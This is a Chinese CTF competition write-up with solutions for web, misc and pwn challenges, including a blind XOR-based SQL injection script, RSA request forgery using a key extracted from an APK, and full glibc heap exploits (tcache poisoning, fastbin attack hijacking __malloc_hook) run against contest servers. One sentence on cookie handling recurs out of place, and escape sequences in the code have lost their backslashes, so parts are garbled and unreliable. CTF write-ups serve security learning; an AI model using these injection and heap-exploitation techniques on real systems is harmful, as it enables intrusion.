"数字经济"云安全公测大赛 WriteUp
- 2019 年 10 月 7 日
- 笔记
Web
gameapp 解题思路
Java 和 python 的 RSA 私钥加密略有不同,所以不浪费时间,直接从 apk 里抠出来加密部分,注意需要处理一下 base64 部分
GameApp.java
package ctf; import java.security.Key; import java.security.KeyFactory; import java.security.interfaces.RSAPrivateKey; import java.security.spec.PKCS8EncodedKeySpec; import java.util.Base64; import java.util.Base64.Decoder; import java.util.Base64.Encoder; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; public class GameApp { private static Map<Integer, String> keyMap = new HashMap(); public static void genKeyPair() { keyMap.put(Integer.valueOf(0), "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMYnImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8anYFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHEnA3Hau/DTzW4g4xhvzQIDAQAB"); keyMap.put(Integer.valueOf(1), "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVanXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8nUUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4LnUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuWncEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/en1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYEnrBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsmnA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcbnUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4nsj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosHnz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5mn+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tufnlq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchunKMtF7eEv1kHS+3Wd"); } public static String private_encrypt(String paramString) throws Exception { Decoder decoder = Base64.getDecoder(); Object localObject = decoder.decode(keyMap.get(Integer.valueOf(1)).replaceAll("n", "").getBytes()); localObject = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec((byte[])localObject)); Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); localCipher.init(1, (Key)localObject); Encoder encoder = Base64.getEncoder(); return encoder.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8"))); } public static void main(String[] args) throws Exception { genKeyPair(); System.out.println(private_encrypt("{"player":"virink_tql"}")); System.out.println(); System.out.println(private_encrypt("{"op":"add","score":100}")); } }
运行后得到 login 和 addscore 加密后的数据,发送给服务端即可

注意需要处理 cookie,每次请求后的 cookie 都会更新

Inject4Fun 解题思路
试了一下好像^注入可以,过滤了ascii
substr可用
admin' ^ (length(password)=32) ^ '1
密码长度是32位
admin' ^ (substr(password,1,1)='a') ^ '1
弱弱的写下另一个思路,直接在console敲代码
注意需要处理 cookie,每次请求后的 cookie 都会更新
function randomPassword(size) { var seed = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','m','n','p','Q','r','s','t','u','v','w','x','y','z', '2','3','4','5','6','7','8','9' ); seedlength = seed.length; var createPassword = ''; for (i=0;i<size;i++) { j = Math.floor(Math.random()*seedlength); createPassword += seed[j]; } return createPassword; } function encode(username, password){ var a = randomPassword(16); var key = CryptoJS.enc.Latin1.parse(a); var iv = CryptoJS.enc.Latin1.parse('1234567890123456'); var data1 = username; var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding }); var data2 = password; var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding }); $('#username').val(encrypted1); $('#password').val(encrypted2); var password = $('#password').val(); var username = $('#username').val(); var rsa = new RSAKey(); var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B"; var exponent = "010001"; rsa.setPublic(modulus, exponent); var res = rsa.encrypt(a); return [username, password, res] } // wrong password // wrong user var password = ''; var strings = 'abcdefghijklmnopqrstuvwxyz0123456789'; function get_password(i, j) { if(i > 32 || j > 36) return; var x = strings[j]; var username = "' ^ (substr(password," + i +",1)='" +x+"') ^ '1"; res = encode(username, 'admin'); $.ajax({ type:"post", url:"login.php", data: {username:res[0], password:res[1], code:res[2]}, dataType: 'text', async : false, success:function(result){ if(result == 'wrong user') { // console.log(result); get_password(i, ++j); } else { password += x; console.log(password); get_password(++i, 0); } } }); } get_password(1, 0);
会爆栈,别问我为什么用递归,谁知道用for循环它只执行一次,所以可以分几次跑,修改一下get_password的参数。

用chamd5.org查出来密码是admin123password321,登陆即可获得flag
Misc
findme
注意需要处理 cookie,每次请求后的 cookie 都会更新
from pwn import * #context.log_level='debug' ip='121.40.216.20' # ip='127.0.0.1' port=9999 p=remote(ip,port) g='0' s='100000000000000000000000000000000' def num2str(num): return hex(num).replace('0x','').replace('L','') def pad(num1,num2): p.sendline(g) p.sendlineafter('s',s) p.sendlineafter('g1',num2str(num1)) p.sendlineafter('g2',num2str(num2)) flag=p.recvuntil('g') print(flag) if '1' in flag: return True else: return False l=0 r=pow(2,128) while (r-l)>3: t=(r-l)/3 m1=l+t m2=m1+t if pad(l,m1): r=m1 else: if pad(m1,m2): l=m1 r=m2 else: l=m2 for i in range(r-l): pad(l+i,l+i)
ewm
解题思路

用 ps 拼个图 ,扫一下就出来了

PWN
amazon
解题思路 泄露libc,heap地址后,利用double_free 攻击small_bin 来构造overlap chunk(由于main_arena的top指针会被覆盖,所以后期不能从top_chunk分配,之前就要构造好chunk结构),最后利用tcache poisoning覆盖到malloc_hook与realloc_hook
from pwn import * #context.log_level = 'debug' p = process('./amazon') #p=remote("121.41.38.38",9999) libc=ELF("./libc-2.27.so") def g(p,data=False): gdb.attach(p,data) raw_input() def ru(x): return p.recvuntil(x) def se(x): p.send(x) def sl(x): p.sendline(x) def rl(): return p.recvline() def re(x): return p.recv(x) def add(idx,price,length,data): ru("Your choice: ") sl(str(1)) ru("uy: ") sl(str(idx)) ru("many: ") sl(str(price)) ru("note: ") sl(str(length)) ru("tent: ") se(data) def add2(idx,price,length): ru("Your choice: ") sl(str(1)) ru("uy: ") sl(str(idx)) ru("many: ") sl(str(price)) ru("note: ") sl(str(length)) def show(): ru("Your choice: ") sl(str(2)) def free(idx): ru("Your choice: ") sl(str(3)) ru("for: ") sl(str(idx)) add(1,0x10,0x90,"1"*8) add(1,0x10,0x80,p64(0)) free(1) add(1,0x10,0x30,"3"*8) free(2) add(1,0x10,0x20,";$0x00") add(1,0x10,0x20,"2"*8) free(0) free(0) show() ru("Name: ") heap=u64(re(6).ljust(8,"x00"))-0x260 print hex(heap) for i in range(6): free(0) show() ru("Name: ") lib=u64(re(6).ljust(8,"x00"))-0x3ebca0 print hex(lib) hook=libc.symbols["__malloc_hook"] hook=lib+hook print hex(hook) one=lib+0x10a38c realloc=lib+libc.symbols["realloc"] add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2) add(1,0x10,0x90,"1"*8) add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2) add(1,0x10,0x20,p64(hook-0x28)) add(1,0x10,0x30,"wwe") add(1,0x10,0x30,p64(one)+p64(realloc+0x9)) add2(1,1,0x60) p.interactive()
fkroman
解题思路
爆破stdout 泄露libc,利用fastbin attack 劫持__malloc_hook
注意需要处理 cookie,每次请求后的 cookie 都会更新
from pwn import * context.log_level = 'debug' def rv(): p.recv() def ru(data): p.recvuntil(data) def sl(data): p.sendline(data) def sd(data): p.send(data) def add(idx,size): ru("choice: ") sl("1") rv() sl(str(idx)) rv() sl(str(size)) def free(idx): ru("choice: ") sl("3") rv() sl(str(idx)) def edit(idx , size , data): ru("choice: ") sl("4") rv() sl(str(idx)) rv() sl(str(size)) rv() sd(data) for i in range(100): try: #p= process("./fkroman") p=remote("121.40.246.48","9999") add(0,0xa0) add(1,0x60) add(2,0x60) free(0) add(3,0x60) edit(3,2,"xddx25") free(1) free(2) edit(2,1,"x00") add(4,0x60) add(5,0x60) add(6,0x60) payload = "a"*3 +p64(0)*6 + p64(0xfbad1800) + p64(0)*3+"x00" edit(6,len(payload) , payload) libc_base = u64(p.recvuntil("x7f")[-6:].ljust(8,"x00")) - 0x7ffff7dd2600 + 0x00007ffff7a0d000 #repair fastbin free(4) edit(4,8,p64(libc_base -0x7ffff7a0d000+ 0x7ffff7dd1aed )) add(7,0x60) add(7,0x60) payload = "a"*3 + p64(0)*2+p64(libc_base + 0xf1147) gdb.attach(p) edit(7,len(payload),payload) add(9,0x20) p.interactive() except: print i
还有上次byte_ctf 的mul_note做法,
from pwn import * context.log_level = 'debug' def add(idx,size): p.sendlineafter("choice: ","1") p.sendlineafter("Index: ",str(idx)) sleep(0.1) p.sendlineafter("Size: ",str(size)) def free(idx): p.sendlineafter("choice: ","3") p.sendlineafter("Index: ",str(idx)) def edit(idx,size,data): p.sendlineafter("choice: ","4") p.sendlineafter("Index: ",str(idx)) sleep(0.1) p.sendlineafter("Size: ",str(size)) p.sendafter("Content: ",data) for i in range(1000): try: #p = process("./fkroman") p = remote("121.40.246.48","9999") add(0,0x10) add(1,0xe0) add(2,0x10) add(3,0xe0) add(4,0xe0) add(5,0xe0) add(9,0xe0) add(10,0x68) free(1) edit(1,10,"a"*8+"xe8x37n") #modify global_max_fast p.sendline("") add(6,0xe0) free(3) edit(3,2,"xcfx25n") p.sendline("") add(7,0xe0) add(7,0xe0) payload = "a"+p64(0)*7+p64(0xf1)+p64(0xfbad1887)+p64(0)*3+"x00"+"n" edit(7,len(payload),payload) libc_base = u64(p.recvuntil("xffx7f").ljust(8,"x00"))-0x7ffff7a89b00+0x00007ffff7a0d000 log.info(hex(libc_base)) gdb.attach(p) p.sendline("") p.recv() p.recv() p.sendline("") p.recv() p.sendline("3") p.recv() p.sendline("5") free(10) edit(10,8,p64(libc_base -0x00007ffff7a0d000 + 0x7ffff7dd1aed)) p.sendline("") p.recv() p.sendline("") p.recv() p.sendline("1") p.recv() p.sendline("11") p.recv() p.sendline(str(0x68)) add(11,0x68) one_gadget = libc_base + 0xf1147 #edit(11,0x30,"aaa"+p64(0) + p64(libc_base +0x7ffff7dd1b10 -0x7ffff7a0d000 ) +p64(one_gadget)) edit(11,0x30,"aaa"+p64(0) + p64(0) +p64(one_gadget)) p.sendline("") #free(10) #free(10) add(11,0x10) p.interactive() except: print i

招新小广告
ChaMd5 ctf组 长期招新
尤其是crypto+reverse+pwn+合约的大佬